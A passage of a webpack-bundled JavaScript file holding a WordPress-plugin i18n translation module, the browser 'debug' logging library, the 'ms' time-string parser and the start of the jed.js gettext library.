if (version instanceof SemVer)
return version;
if (typeof version !== 'string')
return null;
var match = version.match(re[COERCE]);
if (match == null)
return null;
return parse((match[1] || '0') + '.' + (match[2] || '0') + '.' + (match[3] || '0'));
}
/* WEBPACK VAR INJECTION */}.call(exports, __webpack_require__(2)))
/***/ }),
/* 92 */
/***/ (function(module, exports, __webpack_require__) {
/**
* External dependencies
*/
var debug = __webpack_require__( 93 )( 'i18n-wp-plugin' ),
Jed = __webpack_require__( 96 ),
sha1 = __webpack_require__( 97 ),
EventEmitter = __webpack_require__( 56 ).EventEmitter,
interpolateComponents = __webpack_require__( 100 ).default,
LRU = __webpack_require__( 103 ),
assign = __webpack_require__( 60 );
/**
* Internal dependencies
*/
var numberFormatPHPJS = __webpack_require__( 104 );
/**
* Constants
*/
var decimal_point_translation_key = 'number_format_decimals',
thousands_sep_translation_key = 'number_format_thousands_sep';
var translationLookup = [
// By default don't modify the options when looking up translations.
function( options ) {
return options;
}
];
var hashCache = {};
// raise a console warning
function warn() {
if ( ! I18N.throwErrors ) {
return;
}
if ( 'undefined' !== typeof window && window.console && window.console.warn ) {
window.console.warn.apply( window.console, arguments );
}
}
// turns Function.arguments into an array
function simpleArguments( args ) {
return Array.prototype.slice.call( args );
}
/**
* Coerce the possible arguments and normalize to a single object
* @param {arguments} args - arguments passed in from `translate()`
* @return {object} - a single object describing translation needs
*/
function normalizeTranslateArguments( args ) {
var original = args[ 0 ],
options = {},
i;
// warn about older deprecated syntax
if ( typeof original !== 'string' || args.length > 3 || ( args.length > 2 && typeof args[ 1 ] === 'object' && typeof args[ 2 ] === 'object' ) ) {
warn( 'Deprecated Invocation: `translate()` accepts ( string, [string], [object] ). These arguments passed:', simpleArguments( args ), '. See https://github.com/pentatonicfunk/i18n-wp-plugin#translate-method' );
}
if ( args.length === 2 && typeof original === 'string' && typeof args[ 1 ] === 'string' ) {
warn( 'Invalid Invocation: `translate()` requires an options object for plural translations, but passed:', simpleArguments( args ) );
}
// options could be in position 0, 1, or 2
// sending options as the first object is deprecated and will raise a warning
for ( i = 0; i < args.length; i++ ) {
if ( typeof args[ i ] === 'object' ) {
options = args[ i ];
}
}
// `original` can be passed as first parameter or as part of the options object
// though passing original as part of the options is a deprecated approach and will be removed
if ( typeof original === 'string' ) {
options.original = original;
} else if ( typeof options.original === 'object' ) {
options.plural = options.original.plural;
options.count = options.original.count;
options.original = options.original.single;
}
if ( typeof args[ 1 ] === 'string' ) {
options.plural = args[ 1 ];
}
if ( typeof options.original === 'undefined' ) {
throw new Error( 'Translate called without a `string` value as first argument.' );
}
return options;
}
/**
* Pull the right set of arguments for the Jed method
* @param {string} jedMethod Name of jed gettext-style method. [See docs](http://slexaxton.github.io/Jed/)
* @param {[object]} props properties passed into `translate()` method
* @return {[array]} array of properties to pass into gettext-style method
*/
function getJedArgs( jedMethod, props ) {
switch ( jedMethod ) {
case 'gettext':
return [ props.original ];
case 'ngettext':
return [ props.original, props.plural, props.count ];
case 'npgettext':
return [ props.context, props.original, props.plural, props.count ];
case 'pgettext':
return [ props.context, props.original ];
}
return [];
}
/**
* Takes translate options object and coerces to a Jed request to retrieve translation
* @param {object} jed - jed data object
* @param {object} options - object describing translation
* @return {string} - the returned translation from Jed
*/
function getTranslationFromJed( jed, options ) {
var jedMethod = 'gettext',
jedArgs;
if ( options.context ) {
jedMethod = 'p' + jedMethod;
}
if ( typeof options.original === 'string' && typeof options.plural === 'string' ) {
jedMethod = 'n' + jedMethod;
}
jedArgs = getJedArgs( jedMethod, options );
return jed[ jedMethod ].apply( jed, jedArgs );
}
function getTranslation( i18n, options ) {
var i, lookup;
for ( i = translationLookup.length - 1; i >= 0; i-- ) {
lookup = translationLookup[ i ]( assign( {}, options ) );
// Only get the translation from jed if it exists.
if ( i18n.state.locale[ lookup.original ] ) {
return getTranslationFromJed( i18n.state.jed, lookup );
}
}
return null;
}
function I18N() {
if( ! ( this instanceof I18N ) ) {
return new I18N();
}
this.defaultLocaleSlug = 'en';
this.state = {
numberFormatSettings: {},
jed: undefined,
locale: undefined,
localeSlug: undefined,
translations: LRU( { max: 100 } )
};
this.componentUpdateHooks = [];
this.translateHooks = [];
this.stateObserver = new EventEmitter();
// Because the higher-order component can wrap a ton of React components,
// we need to bump the number of listeners to infinity and beyond
// FIXME: still valid?
this.stateObserver.setMaxListeners( 0 );
// default configuration
this.configure();
}
I18N.throwErrors = false;
/**
* Formats numbers using locale settings and/or passed options
* @param {String|Number|Int} number to format (required)
* @param {Int|object} options Number of decimal places or options object (optional)
* @return {string} Formatted number as string
*/
I18N.prototype.numberFormat = function( number ) {
var options = arguments[ 1 ] || {},
decimals = ( typeof options === 'number' ) ? options : options.decimals || 0,
decPoint = options.decPoint || this.state.numberFormatSettings.decimal_point || '.',
thousandsSep = options.thousandsSep || this.state.numberFormatSettings.thousands_sep || ',';
return numberFormatPHPJS( number, decimals, decPoint, thousandsSep );
};
I18N.prototype.configure = function( options ) {
assign( this, options || {} );
this.setLocale();
};
I18N.prototype.setLocale = function( localeData ) {
if ( localeData && localeData[ '' ] && localeData[ '' ][ 'key-hash' ] ) {
var hashLength, minHashLength, maxHashLength, keyHash = localeData[ '' ][ 'key-hash' ];
var transform = function( string, hashLength ) {
const lookupPrefix = hashLength === false ? '' : String( hashLength );
if ( typeof hashCache[ lookupPrefix + string ] !== 'undefined' ) {
return hashCache[ lookupPrefix + string ];
}
var hash = sha1().update( string ).digest('hex');
if ( hashLength ) {
return hashCache[ lookupPrefix + string ] = hash.substr( 0, hashLength );
}
return hashCache[ lookupPrefix + string ] = hash;
};
var generateLookup = function( hashLength ) {
return function( options ) {
if ( options.context ) {
options.original = transform( options.context + String.fromCharCode( 4 ) + options.original, hashLength );
delete options.context;
} else {
options.original = transform( options.original, hashLength );
}
return options;
};
}
if ( keyHash.substr( 0, 4 ) === 'sha1' ) {
if ( keyHash.length === 4 ) {
translationLookup.push( generateLookup( false ) );
} else {
var variableHashLengthPos = keyHash.substr( 5 ).indexOf( '-' );
if ( variableHashLengthPos < 0 ) {
hashLength = Number( keyHash.substr( 5 ) );
translationLookup.push( generateLookup( hashLength ) );
} else {
minHashLength = Number( keyHash.substr( 5, variableHashLengthPos ) );
maxHashLength = Number( keyHash.substr( 6 + variableHashLengthPos ) );
for ( hashLength = minHashLength; hashLength <= maxHashLength; hashLength++ ) {
translationLookup.push( generateLookup( hashLength ) );
}
}
}
}
}
// if localeData is not given, assumes default locale and reset
if ( ! localeData || ! localeData[ '' ].localeSlug ) {
this.state.locale = { '': { localeSlug: this.defaultLocaleSlug } };
} else if ( localeData[ '' ].localeSlug === this.state.localeSlug ) {
// Exit if same data as current (comparing references only)
if ( localeData === this.state.locale ) {
return;
}
// merge new data into existing one
assign( this.state.locale, localeData );
} else {
this.state.locale = assign( {}, localeData );
}
this.state.localeSlug = this.state.locale[ '' ].localeSlug;
this.state.jed = new Jed( {
locale_data: {
messages: this.state.locale
}
} );
// Updates numberFormat preferences with settings from translations
this.state.numberFormatSettings.decimal_point = getTranslationFromJed(
this.state.jed,
normalizeTranslateArguments( [ decimal_point_translation_key ] )
);
this.state.numberFormatSettings.thousands_sep = getTranslationFromJed(
this.state.jed,
normalizeTranslateArguments( [ thousands_sep_translation_key ] )
);
// If translation isn't set, define defaults.
if ( this.state.numberFormatSettings.decimal_point === decimal_point_translation_key ) {
this.state.numberFormatSettings.decimal_point = '.';
}
if ( this.state.numberFormatSettings.thousands_sep === thousands_sep_translation_key ) {
this.state.numberFormatSettings.thousands_sep = ',';
}
this.state.translations.clear();
this.stateObserver.emit( 'change' );
};
I18N.prototype.getLocale = function() {
return this.state.locale;
};
/**
* Get the current locale slug.
* @returns {string} The string representing the currently loaded locale
**/
I18N.prototype.getLocaleSlug = function() {
return this.state.localeSlug;
};
/**
* Adds new translations to the locale data, overwriting any existing translations with a matching key
**/
I18N.prototype.addTranslations = function( localeData ) {
for ( var prop in localeData ) {
if ( prop !== '' ) {
this.state.jed.options.locale_data.messages[prop] = localeData[prop];
}
}
this.state.translations.clear();
this.stateObserver.emit( 'change' );
};
/**
* Checks whether the given original has a translation. Parameters are the same as for translate().
*
* @param {string} original the string to translate
* @param {string} plural the plural string to translate (if applicable), original used as singular
* @param {object} options properties describing translation requirements for given text
* @return {boolean} whether a translation exists
*/
I18N.prototype.hasTranslation = function() {
return !! getTranslation( this, normalizeTranslateArguments( arguments ) );
}
/**
* Exposes single translation method, which is converted into its respective Jed method.
* See sibling README
* @param {string} original the string to translate
* @param {string} plural the plural string to translate (if applicable), original used as singular
* @param {object} options properties describing translation requirements for given text
* @return {string|React-components} translated text or an object containing React children that can be inserted into a parent component
*/
I18N.prototype.translate = function() {
var options, translation, sprintfArgs, errorMethod, optionsString, cacheable;
options = normalizeTranslateArguments( arguments );
cacheable = ! options.components;
if ( cacheable ) {
// Safe JSON stringification here to catch Circular JSON error
// caused by passing a React component into args where only scalars are allowed
try {
optionsString = JSON.stringify( options );
} catch ( e ) {
cacheable = false;
}
if ( optionsString ) {
translation = this.state.translations.get( optionsString );
// Return the cached translation.
if ( translation ) {
return translation;
}
}
}
translation = getTranslation( this, options );
if ( ! translation ) {
// This purposefully calls jed for a case where there is no translation,
// so that jed gives us the expected object with English text.
translation = getTranslationFromJed( this.state.jed, options );
}
// handle any string substitution
if ( options.args ) {
sprintfArgs = ( Array.isArray( options.args ) ) ? options.args.slice( 0 ) : [ options.args ];
sprintfArgs.unshift( translation );
try {
translation = Jed.sprintf.apply( Jed, sprintfArgs );
} catch ( error ) {
if ( ! window || ! window.console ) {
return;
}
errorMethod = this.throwErrors ? 'error' : 'warn';
if ( typeof error !== 'string' ) {
window.console[ errorMethod ]( error );
} else {
window.console[ errorMethod ]( 'i18n sprintf error:', sprintfArgs );
}
}
}
// interpolate any components
if ( options.components ) {
translation = interpolateComponents( {
mixedString: translation,
components: options.components,
throwErrors: this.throwErrors
} );
}
// run any necessary hooks
this.translateHooks.forEach( function( hook ) {
translation = hook( translation, options );
} );
if ( cacheable ) {
this.state.translations.set( optionsString, translation );
}
return translation;
};
/**
* Causes i18n to re-render all translations.
*
* This can be necessary if an extension makes changes that i18n is unaware of
* and needs those changes manifested immediately (e.g. adding an important
* translation hook, or modifying the behaviour of an existing hook).
*
* If at all possible, react components should try to use the more local
* updateTranslation() function inherited from the mixin.
*/
I18N.prototype.reRenderTranslations = function() {
debug( 'Re-rendering all translations due to external request' );
this.state.translations.clear();
this.stateObserver.emit( 'change' );
};
I18N.prototype.registerComponentUpdateHook = function( callback ) {
this.componentUpdateHooks.push( callback );
};
I18N.prototype.registerTranslateHook = function( callback ) {
this.translateHooks.push( callback );
};
module.exports = I18N;
/***/ }),
/* 93 */
/***/ (function(module, exports, __webpack_require__) {
/* WEBPACK VAR INJECTION */(function(process) {/**
* This is the web browser implementation of `debug()`.
*
* Expose `debug()` as the module.
*/
exports = module.exports = __webpack_require__(94);
exports.log = log;
exports.formatArgs = formatArgs;
exports.save = save;
exports.load = load;
exports.useColors = useColors;
exports.storage = 'undefined' != typeof chrome
&& 'undefined' != typeof chrome.storage
? chrome.storage.local
: localstorage();
/**
* Colors.
*/
exports.colors = [
'#0000CC', '#0000FF', '#0033CC', '#0033FF', '#0066CC', '#0066FF', '#0099CC',
'#0099FF', '#00CC00', '#00CC33', '#00CC66', '#00CC99', '#00CCCC', '#00CCFF',
'#3300CC', '#3300FF', '#3333CC', '#3333FF', '#3366CC', '#3366FF', '#3399CC',
'#3399FF', '#33CC00', '#33CC33', '#33CC66', '#33CC99', '#33CCCC', '#33CCFF',
'#6600CC', '#6600FF', '#6633CC', '#6633FF', '#66CC00', '#66CC33', '#9900CC',
'#9900FF', '#9933CC', '#9933FF', '#99CC00', '#99CC33', '#CC0000', '#CC0033',
'#CC0066', '#CC0099', '#CC00CC', '#CC00FF', '#CC3300', '#CC3333', '#CC3366',
'#CC3399', '#CC33CC', '#CC33FF', '#CC6600', '#CC6633', '#CC9900', '#CC9933',
'#CCCC00', '#CCCC33', '#FF0000', '#FF0033', '#FF0066', '#FF0099', '#FF00CC',
'#FF00FF', '#FF3300', '#FF3333', '#FF3366', '#FF3399', '#FF33CC', '#FF33FF',
'#FF6600', '#FF6633', '#FF9900', '#FF9933', '#FFCC00', '#FFCC33'
];
/**
* Currently only WebKit-based Web Inspectors, Firefox >= v31,
* and the Firebug extension (any Firefox version) are known
* to support "%c" CSS customizations.
*
* TODO: add a `localStorage` variable to explicitly enable/disable colors
*/
function useColors() {
// NB: In an Electron preload script, document will be defined but not fully
// initialized. Since we know we're in Chrome, we'll just detect this case
// explicitly
if (typeof window !== 'undefined' && window.process && window.process.type === 'renderer') {
return true;
}
// Internet Explorer and Edge do not support colors.
if (typeof navigator !== 'undefined' && navigator.userAgent && navigator.userAgent.toLowerCase().match(/(edge|trident)\/(\d+)/)) {
return false;
}
// is webkit? http://stackoverflow.com/a/16459606/376773
// document is undefined in react-native: https://github.com/facebook/react-native/pull/1632
return (typeof document !== 'undefined' && document.documentElement && document.documentElement.style && document.documentElement.style.WebkitAppearance) ||
// is firebug? http://stackoverflow.com/a/398120/376773
(typeof window !== 'undefined' && window.console && (window.console.firebug || (window.console.exception && window.console.table))) ||
// is firefox >= v31?
// https://developer.mozilla.org/en-US/docs/Tools/Web_Console#Styling_messages
(typeof navigator !== 'undefined' && navigator.userAgent && navigator.userAgent.toLowerCase().match(/firefox\/(\d+)/) && parseInt(RegExp.$1, 10) >= 31) ||
// double check webkit in userAgent just in case we are in a worker
(typeof navigator !== 'undefined' && navigator.userAgent && navigator.userAgent.toLowerCase().match(/applewebkit\/(\d+)/));
}
/**
* Map %j to `JSON.stringify()`, since no Web Inspectors do that by default.
*/
exports.formatters.j = function(v) {
try {
return JSON.stringify(v);
} catch (err) {
return '[UnexpectedJSONParseError]: ' + err.message;
}
};
/**
* Colorize log arguments if enabled.
*
* @api public
*/
function formatArgs(args) {
var useColors = this.useColors;
args[0] = (useColors ? '%c' : '')
+ this.namespace
+ (useColors ? ' %c' : ' ')
+ args[0]
+ (useColors ? '%c ' : ' ')
+ '+' + exports.humanize(this.diff);
if (!useColors) return;
var c = 'color: ' + this.color;
args.splice(1, 0, c, 'color: inherit')
// the final "%c" is somewhat tricky, because there could be other
// arguments passed either before or after the %c, so we need to
// figure out the correct index to insert the CSS into
var index = 0;
var lastC = 0;
args[0].replace(/%[a-zA-Z%]/g, function(match) {
if ('%%' === match) return;
index++;
if ('%c' === match) {
// we only are interested in the *last* %c
// (the user may have provided their own)
lastC = index;
}
});
args.splice(lastC, 0, c);
}
/**
* Invokes `console.log()` when available.
* No-op when `console.log` is not a "function".
*
* @api public
*/
function log() {
// this hackery is required for IE8/9, where
// the `console.log` function doesn't have 'apply'
return 'object' === typeof console
&& console.log
&& Function.prototype.apply.call(console.log, console, arguments);
}
/**
* Save `namespaces`.
*
* @param {String} namespaces
* @api private
*/
function save(namespaces) {
try {
if (null == namespaces) {
exports.storage.removeItem('debug');
} else {
exports.storage.debug = namespaces;
}
} catch(e) {}
}
/**
* Load `namespaces`.
*
* @return {String} returns the previously persisted debug modes
* @api private
*/
function load() {
var r;
try {
r = exports.storage.debug;
} catch(e) {}
// If debug isn't set in LS, and we're in Electron, try to load $DEBUG
if (!r && typeof process !== 'undefined' && 'env' in process) {
r = process.env.DEBUG;
}
return r;
}
/**
* Enable namespaces listed in `localStorage.debug` initially.
*/
exports.enable(load());
/**
* Localstorage attempts to return the localstorage.
*
* This is necessary because safari throws
* when a user disables cookies/localstorage
* and you attempt to access it.
*
* @return {LocalStorage}
* @api private
*/
function localstorage() {
try {
return window.localStorage;
} catch (e) {}
}
/* WEBPACK VAR INJECTION */}.call(exports, __webpack_require__(2)))
/***/ }),
/* 94 */
/***/ (function(module, exports, __webpack_require__) {
/**
* This is the common logic for both the Node.js and web browser
* implementations of `debug()`.
*
* Expose `debug()` as the module.
*/
exports = module.exports = createDebug.debug = createDebug['default'] = createDebug;
exports.coerce = coerce;
exports.disable = disable;
exports.enable = enable;
exports.enabled = enabled;
exports.humanize = __webpack_require__(95);
/**
* Active `debug` instances.
*/
exports.instances = [];
/**
* The currently active debug mode names, and names to skip.
*/
exports.names = [];
exports.skips = [];
/**
* Map of special "%n" handling functions, for the debug "format" argument.
*
* Valid key names are a single, lower or upper-case letter, i.e. "n" and "N".
*/
exports.formatters = {};
/**
* Select a color.
* @param {String} namespace
* @return {Number}
* @api private
*/
function selectColor(namespace) {
var hash = 0, i;
for (i in namespace) {
hash = ((hash << 5) - hash) + namespace.charCodeAt(i);
hash |= 0; // Convert to 32bit integer
}
return exports.colors[Math.abs(hash) % exports.colors.length];
}
/**
* Create a debugger with the given `namespace`.
*
* @param {String} namespace
* @return {Function}
* @api public
*/
function createDebug(namespace) {
var prevTime;
function debug() {
// disabled?
if (!debug.enabled) return;
var self = debug;
// set `diff` timestamp
var curr = +new Date();
var ms = curr - (prevTime || curr);
self.diff = ms;
self.prev = prevTime;
self.curr = curr;
prevTime = curr;
// turn the `arguments` into a proper Array
var args = new Array(arguments.length);
for (var i = 0; i < args.length; i++) {
args[i] = arguments[i];
}
args[0] = exports.coerce(args[0]);
if ('string' !== typeof args[0]) {
// anything else let's inspect with %O
args.unshift('%O');
}
// apply any `formatters` transformations
var index = 0;
args[0] = args[0].replace(/%([a-zA-Z%])/g, function(match, format) {
// if we encounter an escaped % then don't increase the array index
if (match === '%%') return match;
index++;
var formatter = exports.formatters[format];
if ('function' === typeof formatter) {
var val = args[index];
match = formatter.call(self, val);
// now we need to remove `args[index]` since it's inlined in the `format`
args.splice(index, 1);
index--;
}
return match;
});
// apply env-specific formatting (colors, etc.)
exports.formatArgs.call(self, args);
var logFn = debug.log || exports.log || console.log.bind(console);
logFn.apply(self, args);
}
debug.namespace = namespace;
debug.enabled = exports.enabled(namespace);
debug.useColors = exports.useColors();
debug.color = selectColor(namespace);
debug.destroy = destroy;
// env-specific initialization logic for debug instances
if ('function' === typeof exports.init) {
exports.init(debug);
}
exports.instances.push(debug);
return debug;
}
function destroy () {
var index = exports.instances.indexOf(this);
if (index !== -1) {
exports.instances.splice(index, 1);
return true;
} else {
return false;
}
}
/**
* Enables a debug mode by namespaces. This can include modes
* separated by a colon and wildcards.
*
* @param {String} namespaces
* @api public
*/
function enable(namespaces) {
exports.save(namespaces);
exports.names = [];
exports.skips = [];
var i;
var split = (typeof namespaces === 'string' ? namespaces : '').split(/[\s,]+/);
var len = split.length;
for (i = 0; i < len; i++) {
if (!split[i]) continue; // ignore empty strings
namespaces = split[i].replace(/\*/g, '.*?');
if (namespaces[0] === '-') {
exports.skips.push(new RegExp('^' + namespaces.substr(1) + '$'));
} else {
exports.names.push(new RegExp('^' + namespaces + '$'));
}
}
for (i = 0; i < exports.instances.length; i++) {
var instance = exports.instances[i];
instance.enabled = exports.enabled(instance.namespace);
}
}
/**
* Disable debug output.
*
* @api public
*/
function disable() {
exports.enable('');
}
/**
* Returns true if the given mode name is enabled, false otherwise.
*
* @param {String} name
* @return {Boolean}
* @api public
*/
function enabled(name) {
if (name[name.length - 1] === '*') {
return true;
}
var i, len;
for (i = 0, len = exports.skips.length; i < len; i++) {
if (exports.skips[i].test(name)) {
return false;
}
}
for (i = 0, len = exports.names.length; i < len; i++) {
if (exports.names[i].test(name)) {
return true;
}
}
return false;
}
/**
* Coerce `val`.
*
* @param {Mixed} val
* @return {Mixed}
* @api private
*/
function coerce(val) {
if (val instanceof Error) return val.stack || val.message;
return val;
}
/***/ }),
/* 95 */
/***/ (function(module, exports) {
/**
* Helpers.
*/
var s = 1000;
var m = s * 60;
var h = m * 60;
var d = h * 24;
var y = d * 365.25;
/**
* Parse or format the given `val`.
*
* Options:
*
* - `long` verbose formatting [false]
*
* @param {String|Number} val
* @param {Object} [options]
* @throws {Error} throw an error if val is not a non-empty string or a number
* @return {String|Number}
* @api public
*/
module.exports = function(val, options) {
options = options || {};
var type = typeof val;
if (type === 'string' && val.length > 0) {
return parse(val);
} else if (type === 'number' && isNaN(val) === false) {
return options.long ? fmtLong(val) : fmtShort(val);
}
throw new Error(
'val is not a non-empty string or a valid number. val=' +
JSON.stringify(val)
);
};
/**
* Parse the given `str` and return milliseconds.
*
* @param {String} str
* @return {Number}
* @api private
*/
function parse(str) {
str = String(str);
if (str.length > 100) {
return;
}
var match = /^((?:\d+)?\.?\d+) *(milliseconds?|msecs?|ms|seconds?|secs?|s|minutes?|mins?|m|hours?|hrs?|h|days?|d|years?|yrs?|y)?$/i.exec(
str
);
if (!match) {
return;
}
var n = parseFloat(match[1]);
var type = (match[2] || 'ms').toLowerCase();
switch (type) {
case 'years':
case 'year':
case 'yrs':
case 'yr':
case 'y':
return n * y;
case 'days':
case 'day':
case 'd':
return n * d;
case 'hours':
case 'hour':
case 'hrs':
case 'hr':
case 'h':
return n * h;
case 'minutes':
case 'minute':
case 'mins':
case 'min':
case 'm':
return n * m;
case 'seconds':
case 'second':
case 'secs':
case 'sec':
case 's':
return n * s;
case 'milliseconds':
case 'millisecond':
case 'msecs':
case 'msec':
case 'ms':
return n;
default:
return undefined;
}
}
/**
* Short format for `ms`.
*
* @param {Number} ms
* @return {String}
* @api private
*/
function fmtShort(ms) {
if (ms >= d) {
return Math.round(ms / d) + 'd';
}
if (ms >= h) {
return Math.round(ms / h) + 'h';
}
if (ms >= m) {
return Math.round(ms / m) + 'm';
}
if (ms >= s) {
return Math.round(ms / s) + 's';
}
return ms + 'ms';
}
/**
* Long format for `ms`.
*
* @param {Number} ms
* @return {String}
* @api private
*/
function fmtLong(ms) {
return plural(ms, d, 'day') ||
plural(ms, h, 'hour') ||
plural(ms, m, 'minute') ||
plural(ms, s, 'second') ||
ms + ' ms';
}
/**
* Pluralization helper.
*/
function plural(ms, n, name) {
if (ms < n) {
return;
}
if (ms < n * 1.5) {
return Math.floor(ms / n) + ' ' + name;
}
return Math.ceil(ms / n) + ' ' + name + 's';
}
/***/ }),
/* 96 */
/***/ (function(module, exports, __webpack_require__) {
/**
* @preserve jed.js v0.5.0beta https://github.com/SlexAxton/Jed
*/
/*
-----------
A gettext compatible i18n library for modern JavaScript Applications
by Alex Sexton - AlexSexton [at] gmail - @SlexAxton
WTFPL license for use
Dojo CLA for contributions
Jed offers the entire applicable GNU gettext spec'd set of
functions, but also offers some nicer wrappers around them.
The api for gettext was written for a language with no function
overloading, so Jed allows a little more of that.
Many thanks to Joshua I. Miller - unrtst@cpan.org - who wrote
gettext.js back in 2008. I was able to vet a lot of my ideas
against his. I also made sure Jed passed against his tests
in order to offer easy upgrades -- jsgettext.berlios.de
*/
(function (root, undef) {
// Set up some underscore-style functions, if you already have
// underscore, feel free to delete this section, and use it
// directly, however, the amount of functions used doesn't
// warrant having underscore as a full dependency.
// Underscore 1.3.0 was used to port and is licensed
// under the MIT License by Jeremy Ashkenas.
var ArrayProto = Array.prototype,
ObjProto = Object.prototype,
slice = ArrayProto.slice,
hasOwnProp = ObjProto.hasOwnProperty,
nativeForEach = ArrayProto.forEach,
breaker = {};
// We're not using the OOP style _ so we don't need the
// extra level of indirection. This still means that you
// sub out for real `_` though.
var _ = {
forEach : function( obj, iterator, context ) {
var i, l, key;
if ( obj === null ) {
return;
}
if ( nativeForEach && obj.forEach === nativeForEach ) {
obj.forEach( iterator, context );
}
else if ( obj.length === +obj.length ) {
for ( i = 0, l = obj.length; i < l; i++ ) {
if ( i in obj && iterator.call( context, obj[i], i, obj ) === breaker ) {
return;
}
}
}
else {
for ( key in obj) {
if ( hasOwnProp.call( obj, key ) ) {
if ( iterator.call (context, obj[key], key, obj ) === breaker ) {
return;
}
}
}
}
},
extend : function( obj ) {
this.forEach( slice.call( arguments, 1 ), function ( source ) {
for ( var prop in source ) {
obj[prop] = source[prop];
}
});
return obj;
}
};
// END Miniature underscore impl
// Jed is a constructor function
var Jed = function ( options ) {
// Some minimal defaults
this.defaults = {
"locale_data" : {
"messages" : {
"" : {
"domain" : "messages",
"lang" : "en",
"plural_forms" : "nplurals=2; plural=(n != 1);"
}
// There are no default keys, though
}
},
// The default domain if one is missing
"domain" : "messages",
// enable debug mode to log untranslated strings to the console
"debug" : false
};
// Mix in the sent options with the default options
this.options = _.extend( {}, this.defaults, options );
this.textdomain( this.options.domain );
if ( options.domain && ! this.options.locale_data[ this.options.domain ] ) {
throw new Error('Text domain set to non-existent domain: `' + options.domain + '`');
}
};
// The gettext spec sets this character as the default
// delimiter for context lookups.
// e.g.: context\u0004key
// If your translation company uses something different,
// just change this at any time and it will use that instead.
Jed.context_delimiter = String.fromCharCode( 4 );
function getPluralFormFunc ( plural_form_string ) {
return Jed.PF.compile( plural_form_string || "nplurals=2; plural=(n != 1);");
}
function Chain( key, i18n ){
this._key = key;
this._i18n = i18n;
}
// Create a chainable api for adding args prettily
_.extend( Chain.prototype, {
onDomain : function ( domain ) {
this._domain = domain;
return this;
},
withContext : function ( context ) {
this._context = context;
return this;
},
ifPlural : function ( num, pkey ) {
this._val = num;
this._pkey = pkey;
return this;
},
fetch : function ( sArr ) {
if ( {}.toString.call( sArr ) != '[object Array]' ) {
sArr = [].slice.call(arguments, 0);
}
return ( sArr && sArr.length ? Jed.sprintf : function(x){ return x; } )(
this._i18n.dcnpgettext(this._domain, this._context, this._key, this._pkey, this._val),
sArr
);
}
});
// Add functions to the Jed prototype.
// These will be the functions on the object that's returned
// from creating a `new Jed()`
// These seem redundant, but they gzip pretty well.
_.extend( Jed.prototype, {
// The sexier api start point
translate : function ( key ) {
return new Chain( key, this );
},
textdomain : function ( domain ) {
if ( ! domain ) {
return this._textdomain;
}
this._textdomain = domain;
},
gettext : function ( key ) {
return this.dcnpgettext.call( this, undef, undef, key );
},
dgettext : function ( domain, key ) {
return this.dcnpgettext.call( this, domain, undef, key );
},
dcgettext : function ( domain , key /*, category */ ) {
// Ignores the category anyways
return this.dcnpgettext.call( this, domain, undef, key );
},
ngettext : function ( skey, pkey, val ) {
return this.dcnpgettext.call( this, undef, undef, skey, pkey, val );
},
dngettext : function ( domain, skey, pkey, val ) {
return this.dcnpgettext.call( this, domain, undef, skey, pkey, val );
},
dcngettext : function ( domain, skey, pkey, val/*, category */) {
return this.dcnpgettext.call( this, domain, undef, skey, pkey, val );
},
pgettext : function ( context, key ) {
return this.dcnpgettext.call( this, undef, context, key );
},
dpgettext : function ( domain, context, key ) {
return this.dcnpgettext.call( this, domain, context, key );
},
dcpgettext : function ( domain, context, key/*, category */) {
return this.dcnpgettext.call( this, domain, context, key );
},
npgettext : function ( context, skey, pkey, val ) {
return this.dcnpgettext.call( this, undef, context, skey, pkey, val );
},
dnpgettext : function ( domain, context, skey, pkey, val ) {
return this.dcnpgettext.call( this, domain, context, skey, pkey, val );
},
// The most fully qualified gettext function. It has every option.
// Since it has every option, we can use it from every other method.
// This is the bread and butter.
// Technically there should be one more argument in this function for 'Category',
// but since we never use it, we might as well not waste the bytes to define it.
dcnpgettext : function ( domain, context, singular_key, plural_key, val ) {
// Set some defaults
plural_key = plural_key || singular_key;
// Use the global domain default if one
// isn't explicitly passed in
domain = domain || this._textdomain;
var fallback;
// Handle special cases
// No options found
if ( ! this.options ) {
// There's likely something wrong, but we'll return the correct key for english
// We do this by instantiating a brand new Jed instance with the default set
// for everything that could be broken.
fallback = new Jed();
return fallback.dcnpgettext.call( fallback, undefined, undefined, singular_key, plural_key, val );
}
// No translation data provided
if ( ! this.options.locale_data ) {
throw new Error('No locale data provided.');
}
if ( ! this.options.locale_data[ domain ] ) {
throw new Error('Domain `' + domain + '` was not found.');
}
if ( ! this.options.locale_data[ domain ][ "" ] ) {
throw new Error('No locale meta information provided.');
}
// Make sure we have a truthy key. Otherwise we might start looking
// into the empty string key, which is the options for the locale
// data.
if ( ! singular_key ) {
throw new Error('No translation key found.');
}
var key = context ? context + Jed.context_delimiter + singular_key : singular_key,
locale_data = this.options.locale_data,
dict = locale_data[ domain ],
defaultConf = (locale_data.messages || this.defaults.locale_data.messages)[""],
pluralForms = dict[""].plural_forms || dict[""]["Plural-Forms"] || dict[""]["plural-forms"] || defaultConf.plural_forms || defaultConf["Plural-Forms"] || defaultConf["plural-forms"],
val_list,
res;
var val_idx;
if (val === undefined) {
// No value passed in; assume singular key lookup.
val_idx = 1;
} else {
// Value has been passed in; use plural-forms calculations.
// Handle invalid numbers, but try casting strings for good measure
if ( typeof val != 'number' ) {
val = parseInt( val, 10 );
if ( isNaN( val ) ) {
throw new Error('The number that was passed in is not a number.');
}
}
val_idx = getPluralFormFunc(pluralForms)(val) + 1;
}
// Throw an error if a domain isn't found
if ( ! dict ) {
throw new Error('No domain named `' + domain + '` could be found.');
}
val_list = dict[ key ];
// If there is no match, then revert back to
// english style singular/plural with the keys passed in.
if ( ! val_list || val_idx >= val_list.length ) {
if (this.options.missing_key_callback) {
this.options.missing_key_callback(key, domain);
}
res = [ null, singular_key, plural_key ];
// collect untranslated strings
if (this.options.debug===true) {
console.log(res[ getPluralFormFunc(pluralForms)( val ) + 1 ]);
}
return res[ getPluralFormFunc()( val ) + 1 ];
}
res = val_list[ val_idx ];
// This includes empty strings on purpose
if ( ! res ) {
res = [ null, singular_key, plural_key ];
return res[ getPluralFormFunc()( val ) + 1 ];
}
return res;
}
});
// We add in sprintf capabilities for post translation value interolation
// This is not internally used, so you can remove it if you have this
// available somewhere else, or want to use a different system.
// We _slightly_ modify the normal sprintf behavior to more gracefully handle
// undefined values.
/**
sprintf() for JavaScript 0.7-beta1
http://www.diveintojavascript.com/projects/javascript-sprintf
Copyright (c) Alexandru Marasteanu <alexaholic [at) gmail (dot] com>
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
